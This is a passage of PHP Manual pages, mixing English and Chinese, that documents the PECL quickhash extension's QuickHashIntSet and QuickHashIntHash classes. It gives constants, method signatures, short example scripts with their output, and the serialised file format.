The quickhash extension contains a set of specific strongly-typed classes to deal with specific set and hash implementations.

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires no additional libraries.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/quickhash

User Contributed Notes

There are no user contributed notes for this page.


范例

Example #1 Quickhash Example

<?php
$set = new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES );
$set->add( 1 );
$set->add( 3 );

var_dump( $set->exists( 3 ) );
var_dump( $set->exists( 4 ) );

$set->saveToFile( "/tmp/test-set.set" );

$newSet = QuickHashIntSet::loadFromFile(
    "/tmp/test-set.set"
);

var_dump( $newSet->exists( 3 ) );
var_dump( $newSet->exists( 4 ) );
?>

以上例程的输出类似于：

bool(true)
bool(false)
bool(true)
bool(false)

Example #2 Quickhash ArrayAccess Example

<?php
$hash = new QuickHashIntHash( 64 );

// Adding and updating hash entries.
$hash[3] = 145926;
$hash[3] = 1415926;
$hash[2] = 72;

// Checking if keys exist
var_dump( isset( $hash[3] ) );

// Removing hash entries
unset( $hash[2] );

// Retrieving the value stored for a hash
echo $hash[3], "\n";
?>

以上例程的输出类似于：

bool(true)
1415926

Example #3 Quickhash Iterator Example

<?php
$hash = new QuickHashIntHash( 64 );

// Adding hash entries.
$hash[1] = 145926;
$hash[2] = 1415926;
$hash[3] = 72;
$hash[4] = 712314;
$hash[5] = -4234;

foreach( $hash as $key => $value )
{
    echo $key, ' => ', $value, "\n";
}
?>

以上例程的输出类似于：

5 => -4234
4 => 712314
1 => 145926
2 => 1415926
3 => 72

Example #4 Quickhash String Values Example

<?php
$hash = new QuickHashIntStringHash( 64 );

// Adding hash entries.
$hash[1] = "one million four hundred fifteen thousand nine hundred twenty six";
$hash->add( 2, "one more" );

foreach( $hash as $key => $value )
{
    echo $key, ' => ', $value, "\n";
}
?>

以上例程的输出类似于：

1 => one million four hundred fifteen thousand nine hundred twenty six
2 => one more

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashIntSet class

(PECL quickhash >= Unknown)

简介

This class wraps around a set containing integer numbers.

Sets can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

QuickHashIntSet {
/* Constants */
const integer CHECK_FOR_DUPES = 1 ;
const integer DO_NOT_USE_ZEND_ALLOC = 2 ;
const integer HASHER_NO_HASH = 256 ;
const integer HASHER_JENKINS1 = 512 ;
const integer HASHER_JENKINS2 = 1024 ;
/* Methods */
public add ( int $key ) : bool
public __construct ( int $size [, int $options ] )
public delete ( int $key ) : bool
public exists ( int $key ) : bool
publicgetSize ( void ) : int
public static loadFromFile ( string $filename [, int $size [, int $options ]] ) : QuickHashIntSet
public static loadFromString ( string $contents [, int $size [, int $options ]] ) : QuickHashIntSet
public saveToFile ( string $filename ) : void
public saveToString ( void ) : string
}

预定义常量

QuickHashIntSet::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either add() or loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

QuickHashIntSet::HASHER_NO_HASH

Selects to not use a hashing function, but merely use a modulo to find the bucket list index. This is not faster than normal hashing, and gives more collisions.

QuickHashIntSet::HASHER_JENKINS1

This is the default hashing function to turn the integer hashes into bucket list indexes.

QuickHashIntSet::HASHER_JENKINS2

Selects a variant hashing algorithm.

Table of Contents

  • QuickHashIntSet::add — This method adds a new entry to the set
  • QuickHashIntSet::__construct — Creates a new QuickHashIntSet object
  • QuickHashIntSet::delete — This method deletes an entry from the set
  • QuickHashIntSet::exists — This method checks whether a key is part of the set
  • QuickHashIntSet::getSize — Returns the number of elements in the set
  • QuickHashIntSet::loadFromFile — This factory method creates a set from a file
  • QuickHashIntSet::loadFromString — This factory method creates a set from a string
  • QuickHashIntSet::saveToFile — This method stores an in-memory set to disk
  • QuickHashIntSet::saveToString — This method returns a serialized version of the set

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the set

  • ? QuickHashIntSet
  • QuickHashIntSet::__construct ?
  • PHP Manual
  • QuickHashIntSet
  • This method adds a new entry to the set

QuickHashIntSet::add

(PECL quickhash >= Unknown)

QuickHashIntSet::add — This method adds a new entry to the set

说明

public QuickHashIntSet::add ( int $key ) : bool

This method adds a new entry to the set, and returns whether the entry was added. Entries are by default always added unless QuickHashIntSet::CHECK_FOR_DUPES has been passed when the set was created.

参数

key

The key of the entry to add.

返回值

TRUE when the entry was added, and FALSE if the entry was not added.

范例

Example #1 QuickHashIntSet::add() example

<?php
echo "without dupe checking\n";
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

echo "\nwith dupe checking\n";
$set = new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
?>

以上例程的输出类似于：

without dupe checking
bool(false)
bool(true)
bool(true)
bool(true)

with dupe checking
bool(false)
bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashIntSet object

  • ? QuickHashIntSet::add
  • QuickHashIntSet::delete ?
  • PHP Manual
  • QuickHashIntSet
  • Creates a new QuickHashIntSet object

QuickHashIntSet::__construct

(PECL quickhash >= Unknown)

QuickHashIntSet::__construct — Creates a new QuickHashIntSet object

说明

public QuickHashIntSet::__construct ( int $size [, int $options ] )

This constructor creates a new QuickHashIntSet. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The options that you can pass in are: QuickHashIntSet::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the set; QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager as well as one of QuickHashIntSet::HASHER_NO_HASH, QuickHashIntSet::HASHER_JENKINS1 or QuickHashIntSet::HASHER_JENKINS2. These last three configure which hashing algorithm to use. All options can be combined using bitmasks.

返回值

Returns a new QuickHashIntSet object.

范例

Example #1 QuickHashIntSet::__construct() example

<?php
var_dump( new QuickHashIntSet( 1024 ) );
var_dump( new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES ) );
var_dump(
    new QuickHashIntSet(
        1024,
        QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC | QuickHashIntSet::HASHER_JENKINS2
    )
);
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes an entry from the set

  • ? QuickHashIntSet::__construct
  • QuickHashIntSet::exists ?
  • PHP Manual
  • QuickHashIntSet
  • This method deletes an entry from the set

QuickHashIntSet::delete

(PECL quickhash >= Unknown)

QuickHashIntSet::delete — This method deletes an entry from the set

说明

public QuickHashIntSet::delete ( int $key ) : bool

This method deletes an entry from the set, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the set itself is freed.

参数

key

The key of the entry to delete.

返回值

TRUE when the entry was deleted, and FALSE if the entry was not deleted.

范例

Example #1 QuickHashIntSet::delete() example

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->delete( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->delete( 4 ) );
?>

以上例程的输出类似于：

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the set

  • ? QuickHashIntSet::delete
  • QuickHashIntSet::getSize ?
  • PHP Manual
  • QuickHashIntSet
  • This method checks whether a key is part of the set

QuickHashIntSet::exists

(PECL quickhash >= Unknown)

QuickHashIntSet::exists — This method checks whether a key is part of the set

说明

public QuickHashIntSet::exists ( int $key ) : bool

This method checks whether an entry with the provided key exists in the set.

参数

key

The key of the entry to check for whether it exists in the set.

返回值

Returns TRUE when the entry was found, or FALSE when the entry is not found.

范例

Example #1 QuickHashIntSet::exists() example

<?php
//generate 200000 elements
$array = range( 0, 199999 );
$existingEntries = array_rand( array_flip( $array ), 180000 );
$testForEntries = array_rand( array_flip( $array ), 1000 );
$foundCount = 0;

echo "Creating set: ", microtime( true ), "\n";
$set = new QuickHashIntSet( 100000 );
echo "Adding elements: ", microtime( true ), "\n";
foreach( $existingEntries as $key )
{
     $set->add( $key );
}

echo "Doing 1000 tests: ", microtime( true ), "\n";
foreach( $testForEntries as $key )
{
     $foundCount += $set->exists( $key );
}
echo "Done, $foundCount found: ", microtime( true ), "\n";
?>

以上例程的输出类似于：

Creating set: 1263588703.0748
Adding elements: 1263588703.0757
Doing 1000 tests: 1263588703.7851
Done, 898 found: 1263588703.7897

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the set

  • ? QuickHashIntSet::exists
  • QuickHashIntSet::loadFromFile ?
  • PHP Manual
  • QuickHashIntSet
  • Returns the number of elements in the set

QuickHashIntSet::getSize

(PECL quickhash >= Unknown)

QuickHashIntSet::getSize — Returns the number of elements in the set

说明

publicQuickHashIntSet::getSize ( void ) : int

Returns the number of elements in the set.

参数

key

The key of the entry to add.

返回值

The number of elements in the set.

范例

Example #1 QuickHashIntSet::getSize() example

<?php
$set = new QuickHashIntSet( 8 );
var_dump( $set->add( 2 ) );
var_dump( $set->add( 3 ) );
var_dump( $set->getSize() );
?>

以上例程的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a set from a file

  • ? QuickHashIntSet::getSize
  • QuickHashIntSet::loadFromString ?
  • PHP Manual
  • QuickHashIntSet
  • This factory method creates a set from a file

QuickHashIntSet::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntSet::loadFromFile — This factory method creates a set from a file

说明

public static QuickHashIntSet::loadFromFile ( string $filename [, int $size [, int $options ]] ) : QuickHashIntSet

This factory method creates a new set from a definition file on disk. The file format consists of 32 bit signed integers packed together in the Endianness that the system that the code runs on uses.

参数

filename

The filename of the file to read the set from.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the set, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntSet.

范例

Example #1 QuickHashIntSet::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.set";
$set = QuickHashIntSet::loadFromFile(
    $file,
    QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    printf( "Key %3d (%2x) is %s\n",
        $key, $key,
        $set->exists( $key ) ? 'set' : 'unset'
    );
}
?>

以上例程的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a set from a string

  • ? QuickHashIntSet::loadFromFile
  • QuickHashIntSet::saveToFile ?
  • PHP Manual
  • QuickHashIntSet
  • This factory method creates a set from a string

QuickHashIntSet::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntSet::loadFromString — This factory method creates a set from a string

说明

public static QuickHashIntSet::loadFromString ( string $contents [, int $size [, int $options ]] ) : QuickHashIntSet

This factory method creates a new set from a definition in a string. The file format consists of 32 bit signed integers packed together in the Endianness that the system that the code runs on uses.

参数

contents

The string containing a serialized format of the set.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the set, rounded up to the nearest power of two automatically limited from 64 to 4194304.

返回值

Returns a new QuickHashIntSet.

范例

Example #1 QuickHashIntSet::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.set" );
$set = QuickHashIntSet::loadFromString(
    $contents,
    QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    printf( "Key %3d (%2x) is %s\n",
        $key, $key,
        $set->exists( $key ) ? 'set' : 'unset'
    );
}
?>

以上例程的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory set to disk

  • ? QuickHashIntSet::loadFromString
  • QuickHashIntSet::saveToString ?
  • PHP Manual
  • QuickHashIntSet
  • This method stores an in-memory set to disk

QuickHashIntSet::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntSet::saveToFile — This method stores an in-memory set to disk

说明

public QuickHashIntSet::saveToFile ( string $filename ) : void

This method stores an existing set to a file on disk, in the same format that loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

范例

Example #1 QuickHashIntSet::saveToFile() example

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

$set->saveToFile( '/tmp/test.set' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the set

  • ? QuickHashIntSet::saveToFile
  • QuickHashIntHash ?
  • PHP Manual
  • QuickHashIntSet
  • This method returns a serialized version of the set

QuickHashIntSet::saveToString

(PECL quickhash >= Unknown)

QuickHashIntSet::saveToString — This method returns a serialized version of the set

说明

public QuickHashIntSet::saveToString ( void ) : string

This method returns a serialized version of the set in the same format that loadFromString() can read.

返回值

This method returns a string containing a serialized format of the set. Each element is stored as a four byte value in the Endianness that the current system uses.

范例

Example #1 QuickHashIntSet::saveToString() example

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

var_dump( $set->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashIntHash class

(PECL quickhash >= Unknown)

简介

This class wraps around a hash containing integer numbers, where the values are also integer numbers. Hashes are also available as implementation of the ArrayAccess interface.

Hashes can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

QuickHashIntHash {
/* Constants */
const integer CHECK_FOR_DUPES = 1 ;
const integer DO_NOT_USE_ZEND_ALLOC = 2 ;
const integer HASHER_NO_HASH = 256 ;
const integer HASHER_JENKINS1 = 512 ;
const integer HASHER_JENKINS2 = 1024 ;
/* Methods */
public add ( int $key [, int $value ] ) : bool
public __construct ( int $size [, int $options ] )
public delete ( int $key ) : bool
public exists ( int $key ) : bool
public get ( int $key ) : int
public getSize ( void ) : int
public static loadFromFile ( string $filename [, int $options ] ) : QuickHashIntHash
public static loadFromString ( string $contents [, int $options ] ) : QuickHashIntHash
public saveToFile ( string $filename ) : void
public saveToString ( void ) : string
public set ( int $key , int $value ) : bool
public update ( int $key , int $value ) : bool
}

预定义常量

QuickHashIntHash::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either add() or loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

QuickHashIntHash::HASHER_NO_HASH

Selects to not use a hashing function, but merely use a modulo to find the bucket list index. This is not faster than normal hashing, and gives more collisions.

QuickHashIntHash::HASHER_JENKINS1

This is the default hashing function to turn the integer hashes into bucket list indexes.

QuickHashIntHash::HASHER_JENKINS2

Selects a variant hashing algorithm.

Table of Contents

  • QuickHashIntHash::add — This method adds a new entry to the hash
  • QuickHashIntHash::__construct — Creates a new QuickHashIntHash object
  • QuickHashIntHash::delete — This method deletes am entry from the hash
  • QuickHashIntHash::exists — This method checks whether a key is part of the hash
  • QuickHashIntHash::get — This method retrieves a value from the hash by its key
  • QuickHashIntHash::getSize — Returns the number of elements in the hash
  • QuickHashIntHash::loadFromFile — This factory method creates a hash from a file
  • QuickHashIntHash::loadFromString — This factory method creates a hash from a string
  • QuickHashIntHash::saveToFile — This method stores an in-memory hash to disk
  • QuickHashIntHash::saveToString — This method returns a serialized version of the hash
  • QuickHashIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
  • QuickHashIntHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the hash

  • ? QuickHashIntHash
  • QuickHashIntHash::__construct ?
  • PHP Manual
  • QuickHashIntHash
  • This method adds a new entry to the hash

QuickHashIntHash::add

(PECL quickhash >= Unknown)

QuickHashIntHash::add — This method adds a new entry to the hash

说明

public QuickHashIntHash::add ( int $key [, int $value ] ) : bool

This method adds a new entry to the hash, and returns whether the entry was added. Entries are by default always added unless QuickHashIntHash::CHECK_FOR_DUPES has been passed when the hash was created.

参数

key

The key of the entry to add.

value

The optional value of the entry to add. If no value is specified, 1 will be used.

返回值

TRUE when the entry was added, and FALSE if the entry was not added.

范例

Example #1 QuickHashIntHash::add() example

<?php
echo "without dupe checking\n";
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 22 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 12 ) );

echo "\nwith dupe checking\n";
$hash = new QuickHashIntHash( 1024, QuickHashIntHash::CHECK_FOR_DUPES );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 78 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 9 ) );

echo "\ndefault value\n";
var_dump( $hash->add( 5 ) );
var_dump( $hash->get( 5 ) );
?>

以上例程的输出类似于：

without dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
int(22)
bool(true)

with dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
int(78)
bool(false)

default value
bool(true)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashIntHash object

  • ? QuickHashIntHash::add
  • QuickHashIntHash::delete ?
  • PHP Manual
  • QuickHashIntHash
  • Creates a new QuickHashIntHash object

QuickHashIntHash::__construct

(PECL quickhash >= Unknown)

QuickHashIntHash::__construct — Creates a new QuickHashIntHash object

说明

public QuickHashIntHash::__construct ( int $size [, int $options ] )

This constructor creates a new QuickHashIntHash. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 64 to 4194304.

options

The options that you can pass in are: QuickHashIntHash::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the hash; QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager as well as one of QuickHashIntHash::HASHER_NO_HASH, QuickHashIntHash::HASHER_JENKINS1 or QuickHashIntHash::HASHER_JENKINS2. These last three configure which hashing algorithm to use. All options can be combined using bitmasks.

返回值

Returns a new QuickHashIntHash object.

范例

Example #1 QuickHashIntHash::__construct() example

<?php
var_dump( new QuickHashIntHash( 1024 ) );
var_dump( new QuickHashIntHash( 1024, QuickHashIntHash::CHECK_FOR_DUPES ) );
var_dump(
    new QuickHashIntHash(
        1024,
        QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC | QuickHashIntHash::HASHER_JENKINS2
    )
);
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes am entry from the hash

  • ? QuickHashIntHash::__construct
  • QuickHashIntHash::exists ?
  • PHP Manual
  • QuickHashIntHash
  • This method deletes am entry from the hash

QuickHashIntHash::delete

(PECL quickhash >= Unknown)

QuickHashIntHash::delete — This method deletes am entry from the hash

说明

public QuickHashIntHash::delete ( int $key ) : bool

This method deletes an entry from the hash, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the hash itself is freed.

Elements can not be deleted when the hash is used in an iterator. The method will not throw an exception, but simply return FALSE like would happen with any other deletion failure.

参数

key

The key of the entry to delete.

返回值

TRUE when the entry was deleted, and FALSE if the entry was not deleted.

范例

Example #1 QuickHashIntHash::delete() example

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 5 ) );
var_dump( $hash->delete( 4 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->delete( 4 ) );
?>

以上例程的输出类似于：

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the hash

  • ? QuickHashIntHash::delete
  • QuickHashIntHash::get ?
  • PHP Manual
  • QuickHashIntHash
  • This method checks whether a key is part of the hash

QuickHashIntHash::exists

(PECL quickhash >= Unknown)

QuickHashIntHash::exists — This method checks whether a key is part of the hash

说明

public QuickHashIntHash::exists ( int $key ) : bool

This method checks whether an entry with the provided key exists in the hash.

参数

key

The key of the entry to check for whether it exists in the hash.

返回值

Returns TRUE when the entry was found, or FALSE when the entry is not found.

范例

Example #1 QuickHashIntHash::exists() example

<?php
//generate 200000 elements
$array = range( 0, 199999 );
$existingEntries = array_rand( array_flip( $array ), 180000 );
$testForEntries = array_rand( array_flip( $array ), 1000 );
$foundCount = 0;

echo "Creating hash: ", microtime( true ), "\n";
$hash = new QuickHashIntHash( 100000 );
echo "Adding elements: ", microtime( true ), "\n";
foreach( $existingEntries as $key )
{
     $hash->add( $key, 56 );
}

echo "Doing 1000 tests: ", microtime( true ), "\n";
foreach( $testForEntries as $key )
{
     $foundCount += $hash->exists( $key );
}
echo "Done, $foundCount found: ", microtime( true ), "\n";
?>

以上例程的输出类似于：

Creating hash: 1263588703.0748
Adding elements: 1263588703.0757
Doing 1000 tests: 1263588703.7851
Done, 898 found: 1263588703.7897

User Contributed Notes

There are no user contributed notes for this page.


This method retrieves a value from the hash by its key

  • ? QuickHashIntHash::exists
  • QuickHashIntHash::getSize ?
  • PHP Manual
  • QuickHashIntHash
  • This method retrieves a value from the hash by its key

QuickHashIntHash::get

(PECL quickhash >= Unknown)

QuickHashIntHash::get — This method retrieves a value from the hash by its key

说明

public QuickHashIntHash::get ( int $key ) : int

This method retrieves a value from the hash by its key.

参数

key

The key of the entry to add.

返回值

The value if the key exists, or NULL if the key wasn't part of the hash.

范例

Example #1 QuickHashIntHash::get() example

<?php
$hash = new QuickHashIntHash( 8 );
var_dump( $hash->get( 1 ) );

var_dump( $hash->add( 2 ) );
var_dump( $hash->get( 2 ) );

var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->get( 3 ) );
?>

以上例程的输出类似于：

bool(false)
bool(true)
int(1)
bool(true)
int(5)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the hash

  • ? QuickHashIntHash::get
  • QuickHashIntHash::loadFromFile ?
  • PHP Manual
  • QuickHashIntHash
  • Returns the number of elements in the hash

QuickHashIntHash::getSize

(PECL quickhash >= Unknown)

QuickHashIntHash::getSize — Returns the number of elements in the hash

说明

public QuickHashIntHash::getSize ( void ) : int

Returns the number of elements in the hash.

参数

key

The key of the entry to add.

返回值

The number of elements in the hash.

范例

Example #1 QuickHashIntHash::getSize() example

<?php
$hash = new QuickHashIntHash( 8 );
var_dump( $hash->add( 2 ) );
var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->getSize() );
?>

以上例程的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a file

  • ? QuickHashIntHash::getSize
  • QuickHashIntHash::loadFromString ?
  • PHP Manual
  • QuickHashIntHash
  • This factory method creates a hash from a file

QuickHashIntHash::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntHash::loadFromFile — This factory method creates a hash from a file

说明

public static QuickHashIntHash::loadFromFile ( string $filename [, int $options ] ) : QuickHashIntHash

This factory method creates a new hash from a definition file on disk. The file format consists of a signature 'QH\0x11\0', the number of elements as a 32 bit signed integer in system Endianness, followed by 32 bit signed integers packed together in the Endianness that the system that the code runs on uses. For each hash element there are two 32 bit signed integers stored. The first of each element is the key, and the second is the value belonging to the key. An example could be:

Example #1 QuickHash IntHash file format

00000000  51 48 11 00 02 00 00 00  01 00 00 00 01 00 00 00  |QH..............|
00000010  03 00 00 00 09 00 00 00                           |........|
00000018

Example #2 QuickHash IntHash file format

header signature ('QH'; key type: 1; value type: 1; filler: \0x00)
00000000  51 48 11 00

number of elements:
00000004  02 00 00 00

data string:
00000000  01 00 00 00 01 00 00 00  03 00 00 00 09 00 00 00

key/value 1 (key = 1, value = 1)
01 00 00 00  01 00 00 00

key/value 2 (key = 3, value = 9)
03 00 00 00  09 00 00 00

参数

filename

The filename of the file to read the hash from.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntHash.

范例

Example #3 QuickHashIntHash::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.hash";
$hash = QuickHashIntHash::loadFromFile(
    $file,
    QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    printf( "Key %3d (%2x) is %s\n",
        $key, $key,
        $hash->exists( $key ) ? 'set' : 'unset'
    );
}
?>

以上例程的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a string

  • ? QuickHashIntHash::loadFromFile
  • QuickHashIntHash::saveToFile ?
  • PHP Manual
  • QuickHashIntHash
  • This factory method creates a hash from a string

QuickHashIntHash::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntHash::loadFromString — This factory method creates a hash from a string

说明

public static QuickHashIntHash::loadFromString ( string $contents [, int $options ] ) : QuickHashIntHash

This factory method creates a new hash from a definition in a string. The file format consists of 32 bit signed integers packed together in the Endianness that the system that the code runs on uses. For each element there are two 32 bit signed integers stored. The first of each element is the key, and the second is the value belonging to the key.

参数

contents

The string containing a serialized format of the hash.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntHash.

范例

Example #1 QuickHashIntHash::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash" );
$hash = QuickHashIntHash::loadFromString(
    $contents,
    QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    printf( "Key %3d (%2x) is %s\n",
        $key, $key,
        $hash->exists( $key ) ? 'set' : 'unset'
    );
}
?>

以上例程的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory hash to disk

  • ? QuickHashIntHash::loadFromString
  • QuickHashIntHash::saveToString ?
  • PHP Manual
  • QuickHashIntHash
  • This method stores an in-memory hash to disk

QuickHashIntHash::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntHash::saveToFile — This method stores an in-memory hash to disk

说明

public QuickHashIntHash::saveToFile ( string $filename ) : void

This method stores an existing hash to a file on disk, in the same format that loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

范例

Example #1 QuickHashIntHash::saveToFile() example

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 43 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 52 ) );

$hash->saveToFile( '/tmp/test.hash' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the hash

  • ? QuickHashIntHash::saveToFile
  • QuickHashIntHash::set ?
  • PHP Manual
  • QuickHashIntHash
  • This method returns a serialized version of the hash

QuickHashIntHash::saveToString

(PECL quickhash >= Unknown)

QuickHashIntHash::saveToString — This method returns a serialized version of the hash

说明

public QuickHashIntHash::saveToString ( void ) : string

